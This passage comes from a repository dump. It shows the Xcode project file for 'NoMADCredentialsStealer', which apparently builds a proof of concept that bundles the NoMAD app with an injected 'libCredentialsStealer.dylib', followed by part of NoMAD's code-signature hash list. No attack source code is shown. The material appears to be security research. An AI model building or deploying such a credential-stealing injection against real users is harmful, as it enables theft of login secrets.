13 | 70859F7724C5CFAA00345FD1 /* libCredentialsStealer.dylib in Resources */ = {isa = PBXBuildFile; fileRef = 70859F6A24C5C73E00345FD1 /* libCredentialsStealer.dylib */; };
14 | /* End PBXBuildFile section */
15 |
16 | /* Begin PBXContainerItemProxy section */
17 | 70859F7524C5CF9900345FD1 /* PBXContainerItemProxy */ = {
18 | isa = PBXContainerItemProxy;
19 | containerPortal = 70859F2B24C5C27B00345FD1 /* Project object */;
20 | proxyType = 1;
21 | remoteGlobalIDString = 70859F6924C5C73E00345FD1;
22 | remoteInfo = CredentialsStealer;
23 | };
24 | /* End PBXContainerItemProxy section */
25 |
26 | /* Begin PBXFileReference section */
27 | 70859F3324C5C27B00345FD1 /* NoMADCredentialsStealer.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = NoMADCredentialsStealer.app; sourceTree = BUILT_PRODUCTS_DIR; };
28 | 70859F3E24C5C27C00345FD1 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; };
29 | 70859F3F24C5C27C00345FD1 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; };
30 | 70859F4124C5C27C00345FD1 /* NoMADCredentialsStealer.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = NoMADCredentialsStealer.entitlements; sourceTree = ""; };
31 | 70859F6424C5C2D900345FD1 /* NoMAD.app */ = {isa = PBXFileReference; lastKnownFileType = wrapper.application; path = NoMAD.app; sourceTree = ""; };
32 | 70859F6A24C5C73E00345FD1 /* libCredentialsStealer.dylib */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.dylib"; includeInIndex = 0; path = libCredentialsStealer.dylib; sourceTree = BUILT_PRODUCTS_DIR; };
33 | 70859F6E24C5C73E00345FD1 /* CredentialsStealer.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = CredentialsStealer.m; sourceTree = ""; };
34 | /* End PBXFileReference section */
35 |
36 | /* Begin PBXFrameworksBuildPhase section */
37 | 70859F3024C5C27B00345FD1 /* Frameworks */ = {
38 | isa = PBXFrameworksBuildPhase;
39 | buildActionMask = 2147483647;
40 | files = (
41 | );
42 | runOnlyForDeploymentPostprocessing = 0;
43 | };
44 | 70859F6824C5C73E00345FD1 /* Frameworks */ = {
45 | isa = PBXFrameworksBuildPhase;
46 | buildActionMask = 2147483647;
47 | files = (
48 | );
49 | runOnlyForDeploymentPostprocessing = 0;
50 | };
51 | /* End PBXFrameworksBuildPhase section */
52 |
53 | /* Begin PBXGroup section */
54 | 70859F2A24C5C27B00345FD1 = {
55 | isa = PBXGroup;
56 | children = (
57 | 70859F3524C5C27B00345FD1 /* NoMADCredentialsStealer */,
58 | 70859F6B24C5C73E00345FD1 /* CredentialsStealer */,
59 | 70859F3424C5C27B00345FD1 /* Products */,
60 | );
61 | sourceTree = "";
62 | };
63 | 70859F3424C5C27B00345FD1 /* Products */ = {
64 | isa = PBXGroup;
65 | children = (
66 | 70859F3324C5C27B00345FD1 /* NoMADCredentialsStealer.app */,
67 | 70859F6A24C5C73E00345FD1 /* libCredentialsStealer.dylib */,
68 | );
69 | name = Products;
70 | sourceTree = "";
71 | };
72 | 70859F3524C5C27B00345FD1 /* NoMADCredentialsStealer */ = {
73 | isa = PBXGroup;
74 | children = (
75 | 70859F6324C5C2CF00345FD1 /* Executable */,
76 | 70859F3E24C5C27C00345FD1 /* Info.plist */,
77 | 70859F3F24C5C27C00345FD1 /* main.m */,
78 | 70859F4124C5C27C00345FD1 /* NoMADCredentialsStealer.entitlements */,
79 | );
80 | path = NoMADCredentialsStealer;
81 | sourceTree = "";
82 | };
83 | 70859F6324C5C2CF00345FD1 /* Executable */ = {
84 | isa = PBXGroup;
85 | children = (
86 | 70859F6424C5C2D900345FD1 /* NoMAD.app */,
87 | );
88 | path = Executable;
89 | sourceTree = "";
90 | };
91 | 70859F6B24C5C73E00345FD1 /* CredentialsStealer */ = {
92 | isa = PBXGroup;
93 | children = (
94 | 70859F6E24C5C73E00345FD1 /* CredentialsStealer.m */,
95 | );
96 | path = CredentialsStealer;
97 | sourceTree = "";
98 | };
99 | /* End PBXGroup section */
100 |
101 | /* Begin PBXHeadersBuildPhase section */
102 | 70859F6624C5C73E00345FD1 /* Headers */ = {
103 | isa = PBXHeadersBuildPhase;
104 | buildActionMask = 2147483647;
105 | files = (
106 | );
107 | runOnlyForDeploymentPostprocessing = 0;
108 | };
109 | /* End PBXHeadersBuildPhase section */
110 |
111 | /* Begin PBXNativeTarget section */
112 | 70859F3224C5C27B00345FD1 /* NoMADCredentialsStealer */ = {
113 | isa = PBXNativeTarget;
114 | buildConfigurationList = 70859F5A24C5C27D00345FD1 /* Build configuration list for PBXNativeTarget "NoMADCredentialsStealer" */;
115 | buildPhases = (
116 | 70859F2F24C5C27B00345FD1 /* Sources */,
117 | 70859F3024C5C27B00345FD1 /* Frameworks */,
118 | 70859F3124C5C27B00345FD1 /* Resources */,
119 | );
120 | buildRules = (
121 | );
122 | dependencies = (
123 | 70859F7624C5CF9900345FD1 /* PBXTargetDependency */,
124 | );
125 | name = NoMADCredentialsStealer;
126 | productName = NoMADCredentialsStealer;
127 | productReference = 70859F3324C5C27B00345FD1 /* NoMADCredentialsStealer.app */;
128 | productType = "com.apple.product-type.application";
129 | };
130 | 70859F6924C5C73E00345FD1 /* CredentialsStealer */ = {
131 | isa = PBXNativeTarget;
132 | buildConfigurationList = 70859F7024C5C73E00345FD1 /* Build configuration list for PBXNativeTarget "CredentialsStealer" */;
133 | buildPhases = (
134 | 70859F6624C5C73E00345FD1 /* Headers */,
135 | 70859F6724C5C73E00345FD1 /* Sources */,
136 | 70859F6824C5C73E00345FD1 /* Frameworks */,
137 | );
138 | buildRules = (
139 | );
140 | dependencies = (
141 | );
142 | name = CredentialsStealer;
143 | productName = CredentialsStealer;
144 | productReference = 70859F6A24C5C73E00345FD1 /* libCredentialsStealer.dylib */;
145 | productType = "com.apple.product-type.library.dynamic";
146 | };
147 | /* End PBXNativeTarget section */
148 |
149 | /* Begin PBXProject section */
150 | 70859F2B24C5C27B00345FD1 /* Project object */ = {
151 | isa = PBXProject;
152 | attributes = {
153 | LastUpgradeCheck = 1160;
154 | ORGANIZATIONNAME = "Wojciech Reguła";
155 | TargetAttributes = {
156 | 70859F3224C5C27B00345FD1 = {
157 | CreatedOnToolsVersion = 11.6;
158 | };
159 | 70859F6924C5C73E00345FD1 = {
160 | CreatedOnToolsVersion = 11.6;
161 | };
162 | };
163 | };
164 | buildConfigurationList = 70859F2E24C5C27B00345FD1 /* Build configuration list for PBXProject "NoMADCredentialsStealer" */;
165 | compatibilityVersion = "Xcode 9.3";
166 | developmentRegion = en;
167 | hasScannedForEncodings = 0;
168 | knownRegions = (
169 | en,
170 | Base,
171 | );
172 | mainGroup = 70859F2A24C5C27B00345FD1;
173 | productRefGroup = 70859F3424C5C27B00345FD1 /* Products */;
174 | projectDirPath = "";
175 | projectRoot = "";
176 | targets = (
177 | 70859F3224C5C27B00345FD1 /* NoMADCredentialsStealer */,
178 | 70859F6924C5C73E00345FD1 /* CredentialsStealer */,
179 | );
180 | };
181 | /* End PBXProject section */
182 |
183 | /* Begin PBXResourcesBuildPhase section */
184 | 70859F3124C5C27B00345FD1 /* Resources */ = {
185 | isa = PBXResourcesBuildPhase;
186 | buildActionMask = 2147483647;
187 | files = (
188 | 70859F7724C5CFAA00345FD1 /* libCredentialsStealer.dylib in Resources */,
189 | 70859F6524C5C2D900345FD1 /* NoMAD.app in Resources */,
190 | );
191 | runOnlyForDeploymentPostprocessing = 0;
192 | };
193 | /* End PBXResourcesBuildPhase section */
194 |
195 | /* Begin PBXSourcesBuildPhase section */
196 | 70859F2F24C5C27B00345FD1 /* Sources */ = {
197 | isa = PBXSourcesBuildPhase;
198 | buildActionMask = 2147483647;
199 | files = (
200 | 70859F4024C5C27C00345FD1 /* main.m in Sources */,
201 | );
202 | runOnlyForDeploymentPostprocessing = 0;
203 | };
204 | 70859F6724C5C73E00345FD1 /* Sources */ = {
205 | isa = PBXSourcesBuildPhase;
206 | buildActionMask = 2147483647;
207 | files = (
208 | 70859F6F24C5C73E00345FD1 /* CredentialsStealer.m in Sources */,
209 | );
210 | runOnlyForDeploymentPostprocessing = 0;
211 | };
212 | /* End PBXSourcesBuildPhase section */
213 |
214 | /* Begin PBXTargetDependency section */
215 | 70859F7624C5CF9900345FD1 /* PBXTargetDependency */ = {
216 | isa = PBXTargetDependency;
217 | target = 70859F6924C5C73E00345FD1 /* CredentialsStealer */;
218 | targetProxy = 70859F7524C5CF9900345FD1 /* PBXContainerItemProxy */;
219 | };
220 | /* End PBXTargetDependency section */
221 |
222 | /* Begin XCBuildConfiguration section */
223 | 70859F5824C5C27D00345FD1 /* Debug */ = {
224 | isa = XCBuildConfiguration;
225 | buildSettings = {
226 | ALWAYS_SEARCH_USER_PATHS = NO;
227 | CLANG_ANALYZER_NONNULL = YES;
228 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
229 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
230 | CLANG_CXX_LIBRARY = "libc++";
231 | CLANG_ENABLE_MODULES = YES;
232 | CLANG_ENABLE_OBJC_ARC = YES;
233 | CLANG_ENABLE_OBJC_WEAK = YES;
234 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
235 | CLANG_WARN_BOOL_CONVERSION = YES;
236 | CLANG_WARN_COMMA = YES;
237 | CLANG_WARN_CONSTANT_CONVERSION = YES;
238 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
239 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
240 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
241 | CLANG_WARN_EMPTY_BODY = YES;
242 | CLANG_WARN_ENUM_CONVERSION = YES;
243 | CLANG_WARN_INFINITE_RECURSION = YES;
244 | CLANG_WARN_INT_CONVERSION = YES;
245 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
246 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
247 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
248 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
249 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
250 | CLANG_WARN_STRICT_PROTOTYPES = YES;
251 | CLANG_WARN_SUSPICIOUS_MOVE = YES;
252 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
253 | CLANG_WARN_UNREACHABLE_CODE = YES;
254 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
255 | COPY_PHASE_STRIP = NO;
256 | DEBUG_INFORMATION_FORMAT = dwarf;
257 | ENABLE_STRICT_OBJC_MSGSEND = YES;
258 | ENABLE_TESTABILITY = YES;
259 | GCC_C_LANGUAGE_STANDARD = gnu11;
260 | GCC_DYNAMIC_NO_PIC = NO;
261 | GCC_NO_COMMON_BLOCKS = YES;
262 | GCC_OPTIMIZATION_LEVEL = 0;
263 | GCC_PREPROCESSOR_DEFINITIONS = (
264 | "DEBUG=1",
265 | "$(inherited)",
266 | );
267 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
268 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
269 | GCC_WARN_UNDECLARED_SELECTOR = YES;
270 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
271 | GCC_WARN_UNUSED_FUNCTION = YES;
272 | GCC_WARN_UNUSED_VARIABLE = YES;
273 | MACOSX_DEPLOYMENT_TARGET = 10.15;
274 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
275 | MTL_FAST_MATH = YES;
276 | ONLY_ACTIVE_ARCH = YES;
277 | SDKROOT = macosx;
278 | };
279 | name = Debug;
280 | };
281 | 70859F5924C5C27D00345FD1 /* Release */ = {
282 | isa = XCBuildConfiguration;
283 | buildSettings = {
284 | ALWAYS_SEARCH_USER_PATHS = NO;
285 | CLANG_ANALYZER_NONNULL = YES;
286 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
287 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
288 | CLANG_CXX_LIBRARY = "libc++";
289 | CLANG_ENABLE_MODULES = YES;
290 | CLANG_ENABLE_OBJC_ARC = YES;
291 | CLANG_ENABLE_OBJC_WEAK = YES;
292 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
293 | CLANG_WARN_BOOL_CONVERSION = YES;
294 | CLANG_WARN_COMMA = YES;
295 | CLANG_WARN_CONSTANT_CONVERSION = YES;
296 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
297 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
298 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
299 | CLANG_WARN_EMPTY_BODY = YES;
300 | CLANG_WARN_ENUM_CONVERSION = YES;
301 | CLANG_WARN_INFINITE_RECURSION = YES;
302 | CLANG_WARN_INT_CONVERSION = YES;
303 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
304 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
305 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
306 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
307 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
308 | CLANG_WARN_STRICT_PROTOTYPES = YES;
309 | CLANG_WARN_SUSPICIOUS_MOVE = YES;
310 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
311 | CLANG_WARN_UNREACHABLE_CODE = YES;
312 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
313 | COPY_PHASE_STRIP = NO;
314 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
315 | ENABLE_NS_ASSERTIONS = NO;
316 | ENABLE_STRICT_OBJC_MSGSEND = YES;
317 | GCC_C_LANGUAGE_STANDARD = gnu11;
318 | GCC_NO_COMMON_BLOCKS = YES;
319 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
320 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
321 | GCC_WARN_UNDECLARED_SELECTOR = YES;
322 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
323 | GCC_WARN_UNUSED_FUNCTION = YES;
324 | GCC_WARN_UNUSED_VARIABLE = YES;
325 | MACOSX_DEPLOYMENT_TARGET = 10.15;
326 | MTL_ENABLE_DEBUG_INFO = NO;
327 | MTL_FAST_MATH = YES;
328 | SDKROOT = macosx;
329 | };
330 | name = Release;
331 | };
332 | 70859F5B24C5C27D00345FD1 /* Debug */ = {
333 | isa = XCBuildConfiguration;
334 | buildSettings = {
335 | CODE_SIGN_ENTITLEMENTS = NoMADCredentialsStealer/NoMADCredentialsStealer.entitlements;
336 | CODE_SIGN_STYLE = Manual;
337 | COMBINE_HIDPI_IMAGES = YES;
338 | DEVELOPMENT_TEAM = "";
339 | INFOPLIST_FILE = NoMADCredentialsStealer/Info.plist;
340 | LD_RUNPATH_SEARCH_PATHS = (
341 | "$(inherited)",
342 | "@executable_path/../Frameworks",
343 | );
344 | PRODUCT_BUNDLE_IDENTIFIER = biz.securing.NoMADCredentialsStealer;
345 | PRODUCT_NAME = "$(TARGET_NAME)";
346 | PROVISIONING_PROFILE_SPECIFIER = "";
347 | };
348 | name = Debug;
349 | };
350 | 70859F5C24C5C27D00345FD1 /* Release */ = {
351 | isa = XCBuildConfiguration;
352 | buildSettings = {
353 | CODE_SIGN_ENTITLEMENTS = NoMADCredentialsStealer/NoMADCredentialsStealer.entitlements;
354 | CODE_SIGN_STYLE = Manual;
355 | COMBINE_HIDPI_IMAGES = YES;
356 | DEVELOPMENT_TEAM = "";
357 | INFOPLIST_FILE = NoMADCredentialsStealer/Info.plist;
358 | LD_RUNPATH_SEARCH_PATHS = (
359 | "$(inherited)",
360 | "@executable_path/../Frameworks",
361 | );
362 | PRODUCT_BUNDLE_IDENTIFIER = biz.securing.NoMADCredentialsStealer;
363 | PRODUCT_NAME = "$(TARGET_NAME)";
364 | PROVISIONING_PROFILE_SPECIFIER = "";
365 | };
366 | name = Release;
367 | };
368 | 70859F7124C5C73E00345FD1 /* Debug */ = {
369 | isa = XCBuildConfiguration;
370 | buildSettings = {
371 | CODE_SIGN_STYLE = Automatic;
372 | DYLIB_COMPATIBILITY_VERSION = 1;
373 | DYLIB_CURRENT_VERSION = 1;
374 | EXECUTABLE_PREFIX = lib;
375 | PRODUCT_NAME = "$(TARGET_NAME)";
376 | SKIP_INSTALL = YES;
377 | };
378 | name = Debug;
379 | };
380 | 70859F7224C5C73E00345FD1 /* Release */ = {
381 | isa = XCBuildConfiguration;
382 | buildSettings = {
383 | CODE_SIGN_STYLE = Automatic;
384 | DYLIB_COMPATIBILITY_VERSION = 1;
385 | DYLIB_CURRENT_VERSION = 1;
386 | EXECUTABLE_PREFIX = lib;
387 | PRODUCT_NAME = "$(TARGET_NAME)";
388 | SKIP_INSTALL = YES;
389 | };
390 | name = Release;
391 | };
392 | /* End XCBuildConfiguration section */
393 |
394 | /* Begin XCConfigurationList section */
395 | 70859F2E24C5C27B00345FD1 /* Build configuration list for PBXProject "NoMADCredentialsStealer" */ = {
396 | isa = XCConfigurationList;
397 | buildConfigurations = (
398 | 70859F5824C5C27D00345FD1 /* Debug */,
399 | 70859F5924C5C27D00345FD1 /* Release */,
400 | );
401 | defaultConfigurationIsVisible = 0;
402 | defaultConfigurationName = Release;
403 | };
404 | 70859F5A24C5C27D00345FD1 /* Build configuration list for PBXNativeTarget "NoMADCredentialsStealer" */ = {
405 | isa = XCConfigurationList;
406 | buildConfigurations = (
407 | 70859F5B24C5C27D00345FD1 /* Debug */,
408 | 70859F5C24C5C27D00345FD1 /* Release */,
409 | );
410 | defaultConfigurationIsVisible = 0;
411 | defaultConfigurationName = Release;
412 | };
413 | 70859F7024C5C73E00345FD1 /* Build configuration list for PBXNativeTarget "CredentialsStealer" */ = {
414 | isa = XCConfigurationList;
415 | buildConfigurations = (
416 | 70859F7124C5C73E00345FD1 /* Debug */,
417 | 70859F7224C5C73E00345FD1 /* Release */,
418 | );
419 | defaultConfigurationIsVisible = 0;
420 | defaultConfigurationName = Release;
421 | };
422 | /* End XCConfigurationList section */
423 | };
424 | rootObject = 70859F2B24C5C27B00345FD1 /* Project object */;
425 | }
426 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/_CodeSignature/CodeResources:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | files
6 |
7 | Resources/AppIcon.icns
8 |
9 | 3qKgUiotU3mECEqlr+upr0iOqmc=
10 |
11 | Resources/Assets.car
12 |
13 | Fd9Mr5te6qPXZmKTuXVQERiLN0c=
14 |
15 | Resources/Base.lproj/InfoPlist.strings
16 |
17 | mKVE+ketAI5F5Y+F/V90kBFMUTI=
18 |
19 | Resources/Base.lproj/Languages.plist
20 |
21 | L+6mlkpLOpIaiR1xEbzlaGANrJ8=
22 |
23 | Resources/Base.lproj/LoginWindow.nib
24 |
25 | LoWWidAj9o5HV/qw97zu/RfgAcM=
26 |
27 | Resources/Base.lproj/MainMenu.nib
28 |
29 | 39Ef2xduYy5q1gi70/wIn5GavfA=
30 |
31 | Resources/Base.lproj/PasswordChangeWindow.nib
32 |
33 | /AYDOBI5Ixrhh4KixCvT5JKrEC0=
34 |
35 | Resources/Base.lproj/PreferencesWindow.nib
36 |
37 | 6BftE5R23/iKi1bRi97l8wRWWUg=
38 |
39 | Resources/DefaultPreferences.plist
40 |
41 | WfDSAIp8OrRM6UEpMvwZE1n1ZtU=
42 |
43 | Resources/KeychainMinder.nib
44 |
45 | HPq9vMGc8Iy6LdpQ8AKle52tDgg=
46 |
47 | Resources/da.lproj/InfoPlist.strings
48 |
49 | hash
50 |
51 | rPz5wqMvaHQk+99rx+SDsZUnH70=
52 |
53 | optional
54 |
55 |
56 | Resources/da.lproj/Languages.plist
57 |
58 | hash
59 |
60 | AiVDSll243Da5kJBILOFFtXHzhY=
61 |
62 | optional
63 |
64 |
65 | Resources/da.lproj/LoginWindow.strings
66 |
67 | hash
68 |
69 | G6FHMZOXrYv0bay+GffPo761AJA=
70 |
71 | optional
72 |
73 |
74 | Resources/da.lproj/MainMenu.strings
75 |
76 | hash
77 |
78 | Db+83FTkcDZIUOANynFG3cMZH38=
79 |
80 | optional
81 |
82 |
83 | Resources/da.lproj/PasswordChangeWindow.strings
84 |
85 | hash
86 |
87 | vF1VNbRQVF+DSD7UGVcyfe+zvXk=
88 |
89 | optional
90 |
91 |
92 | Resources/da.lproj/PreferencesWindow.strings
93 |
94 | hash
95 |
96 | z24cuQ4+eh+aElNHXEoOQKTPdZs=
97 |
98 | optional
99 |
100 |
101 | Resources/de.lproj/InfoPlist.strings
102 |
103 | hash
104 |
105 | U/Ni/ZSGC10tFc+k3LB1OgfbBw0=
106 |
107 | optional
108 |
109 |
110 | Resources/de.lproj/Languages.plist
111 |
112 | hash
113 |
114 | Pj7HpZOhHME63DZPumc0cIE1dmU=
115 |
116 | optional
117 |
118 |
119 | Resources/de.lproj/LoginWindow.strings
120 |
121 | hash
122 |
123 | 4njL1UIXFYOht4u7dbz0q2UqXcw=
124 |
125 | optional
126 |
127 |
128 | Resources/de.lproj/MainMenu.strings
129 |
130 | hash
131 |
132 | UW9ka4txuq6sud9MEx+dKf399JY=
133 |
134 | optional
135 |
136 |
137 | Resources/de.lproj/PasswordChangeWindow.strings
138 |
139 | hash
140 |
141 | NU3FdxPBonJNkNwug+e4fLVwc9M=
142 |
143 | optional
144 |
145 |
146 | Resources/de.lproj/PreferencesWindow.strings
147 |
148 | hash
149 |
150 | OfX4/98y3gKkOYiANZ1pJqmo2jA=
151 |
152 | optional
153 |
154 |
155 | Resources/en.lproj/Languages.plist
156 |
157 | hash
158 |
159 | L+6mlkpLOpIaiR1xEbzlaGANrJ8=
160 |
161 | optional
162 |
163 |
164 | Resources/es.lproj/InfoPlist.strings
165 |
166 | hash
167 |
168 | 0HTGS/scw3VMk65iLw7h92yY0r4=
169 |
170 | optional
171 |
172 |
173 | Resources/es.lproj/Languages.plist
174 |
175 | hash
176 |
177 | /sEo0hPO8/o1A1SB9F1hPXGGgec=
178 |
179 | optional
180 |
181 |
182 | Resources/es.lproj/LoginWindow.strings
183 |
184 | hash
185 |
186 | YAiZnJfqXI7YmDsOvjz5k4HxJ4s=
187 |
188 | optional
189 |
190 |
191 | Resources/es.lproj/MainMenu.strings
192 |
193 | hash
194 |
195 | UrRWCYrQm7Rp6+/djlA1fQE8Qy4=
196 |
197 | optional
198 |
199 |
200 | Resources/es.lproj/PasswordChangeWindow.strings
201 |
202 | hash
203 |
204 | j0IwdnnAqiAB0VMCZDecBnO19qU=
205 |
206 | optional
207 |
208 |
209 | Resources/es.lproj/PreferencesWindow.strings
210 |
211 | hash
212 |
213 | PJcQaTBl1rWjXpbOygQBRGZZ8K4=
214 |
215 | optional
216 |
217 |
218 | Resources/fr.lproj/InfoPlist.strings
219 |
220 | hash
221 |
222 | zDacW0XNNDDuouI1T13tlG/MvFk=
223 |
224 | optional
225 |
226 |
227 | Resources/fr.lproj/Languages.plist
228 |
229 | hash
230 |
231 | 6w+RQYZ/E9nNa73Pgd5zB6/PUUc=
232 |
233 | optional
234 |
235 |
236 | Resources/fr.lproj/LoginWindow.strings
237 |
238 | hash
239 |
240 | jRzcZhZVxmY9uRXvg4MeEpzEZ/E=
241 |
242 | optional
243 |
244 |
245 | Resources/fr.lproj/MainMenu.strings
246 |
247 | hash
248 |
249 | oS/VbVbR9UM/Jt1+UQInwILINXo=
250 |
251 | optional
252 |
253 |
254 | Resources/fr.lproj/PasswordChangeWindow.strings
255 |
256 | hash
257 |
258 | XzH+48CRZSKHUnQEXNv+x61R2tc=
259 |
260 | optional
261 |
262 |
263 | Resources/fr.lproj/PreferencesWindow.strings
264 |
265 | hash
266 |
267 | oO1fqnR8rsDY1Jo1DS9VNzeIsGE=
268 |
269 | optional
270 |
271 |
272 | Resources/nl.lproj/InfoPlist.strings
273 |
274 | hash
275 |
276 | gY2ETohrXBM01QEKLq0h0Qzf0kA=
277 |
278 | optional
279 |
280 |
281 | Resources/nl.lproj/Languages.plist
282 |
283 | hash
284 |
285 | NWvIcFog4gxV1VPatTygDdaZNjA=
286 |
287 | optional
288 |
289 |
290 | Resources/nl.lproj/Localizable.strings
291 |
292 | hash
293 |
294 | wbTYzu5izYRXkgPhA+ApuCRp2QM=
295 |
296 | optional
297 |
298 |
299 | Resources/nl.lproj/LoginWindow.strings
300 |
301 | hash
302 |
303 | /xsTvNZvsJob9tZ+/8GbHiHlewY=
304 |
305 | optional
306 |
307 |
308 | Resources/nl.lproj/MainMenu.strings
309 |
310 | hash
311 |
312 | wJnKOXLXVNmACtOgyuUVRkXyTEI=
313 |
314 | optional
315 |
316 |
317 | Resources/nl.lproj/PasswordChangeWindow.strings
318 |
319 | hash
320 |
321 | A7YsxrhLFyJqVobx+J9U940Z5wk=
322 |
323 | optional
324 |
325 |
326 | Resources/nl.lproj/PreferencesWindow.strings
327 |
328 | hash
329 |
330 | 9ZozFwBC4ddaAQZPsYjaoDqvQ3w=
331 |
332 | optional
333 |
334 |
335 | Resources/pl.lproj/InfoPlist.strings
336 |
337 | hash
338 |
339 | IlTV8aNuaGDAdwaPaha5FMnwK/E=
340 |
341 | optional
342 |
343 |
344 | Resources/pl.lproj/Languages.plist
345 |
346 | hash
347 |
348 | 93A8mtFfe0UYI/OmQ+BVGybDyR8=
349 |
350 | optional
351 |
352 |
353 | Resources/pl.lproj/LoginWindow.strings
354 |
355 | hash
356 |
357 | 4F7nlU/W2PMUIi1XClImrVAOs/M=
358 |
359 | optional
360 |
361 |
362 | Resources/pl.lproj/MainMenu.strings
363 |
364 | hash
365 |
366 | PGlKt7v0T3Yc5XTxfCDjqutsQ/4=
367 |
368 | optional
369 |
370 |
371 | Resources/pl.lproj/PasswordChangeWindow.strings
372 |
373 | hash
374 |
375 | 5dxbaKOcznNBn0DL+5G9IfzLiJ8=
376 |
377 | optional
378 |
379 |
380 | Resources/pl.lproj/PreferencesWindow.strings
381 |
382 | hash
383 |
384 | 6pI9ivvI+/mIRC2QeFifRXkuNms=
385 |
386 | optional
387 |
388 |
389 | Resources/sv.lproj/InfoPlist.strings
390 |
391 | hash
392 |
393 | /n2jrASvfN5Iz/blQhHEWxebIso=
394 |
395 | optional
396 |
397 |
398 | Resources/sv.lproj/Languages.plist
399 |
400 | hash
401 |
402 | hwo17KVPrYNXWGDm57rtGyFIL04=
403 |
404 | optional
405 |
406 |
407 | Resources/sv.lproj/LoginWindow.strings
408 |
409 | hash
410 |
411 | mx+hmWCBB3hyoNWcjWbxfPmf9GA=
412 |
413 | optional
414 |
415 |
416 | Resources/sv.lproj/MainMenu.strings
417 |
418 | hash
419 |
420 | T667phcrgNyPKDk+A/VyjT0qI04=
421 |
422 | optional
423 |
424 |
425 | Resources/sv.lproj/PasswordChangeWindow.strings
426 |
427 | hash
428 |
429 | YfZi+Oc353FytOdNn+cER+U3II4=
430 |
431 | optional
432 |
433 |
434 | Resources/sv.lproj/PreferencesWindow.strings
435 |
436 | hash
437 |
438 | fcs5Ae/lPHa1FIXQnWYf8i/4hmY=
439 |
440 | optional
441 |
442 |
443 |
444 | files2
445 |
446 | Frameworks/libswiftAppKit.dylib
447 |
448 | cdhash
449 |
450 | IvVLrw+A8rNHJbjWMMETvRB8SeQ=
451 |
452 | requirement
453 | anchor apple generic and identifier "com.apple.dt.runtime.swiftAppKit" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24)
454 |
455 | Frameworks/libswiftCore.dylib
456 |
457 | cdhash
458 |
459 | M+BouvX4BMLupL7E1rxJ+9N6iEA=
460 |
461 | requirement
462 | anchor apple generic and identifier "com.apple.dt.runtime.swiftCore" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24)
463 |
464 | Frameworks/libswiftCoreData.dylib
465 |
466 | cdhash
467 |
468 | 7IAvv3Dr9aAHXjmvyVYwSKHw5mM=
469 |
470 | requirement
471 | anchor apple generic and identifier "com.apple.dt.runtime.swiftCoreData" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24)
472 |
473 | Frameworks/libswiftCoreGraphics.dylib
474 |
475 | cdhash
476 |
477 | B+5ei4Ix78ziFTEq50dIxh0Op34=
478 |
479 | requirement
480 | anchor apple generic and identifier "com.apple.dt.runtime.swiftCoreGraphics" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24)
481 |
482 | Frameworks/libswiftCoreImage.dylib
483 |
484 | cdhash
485 |
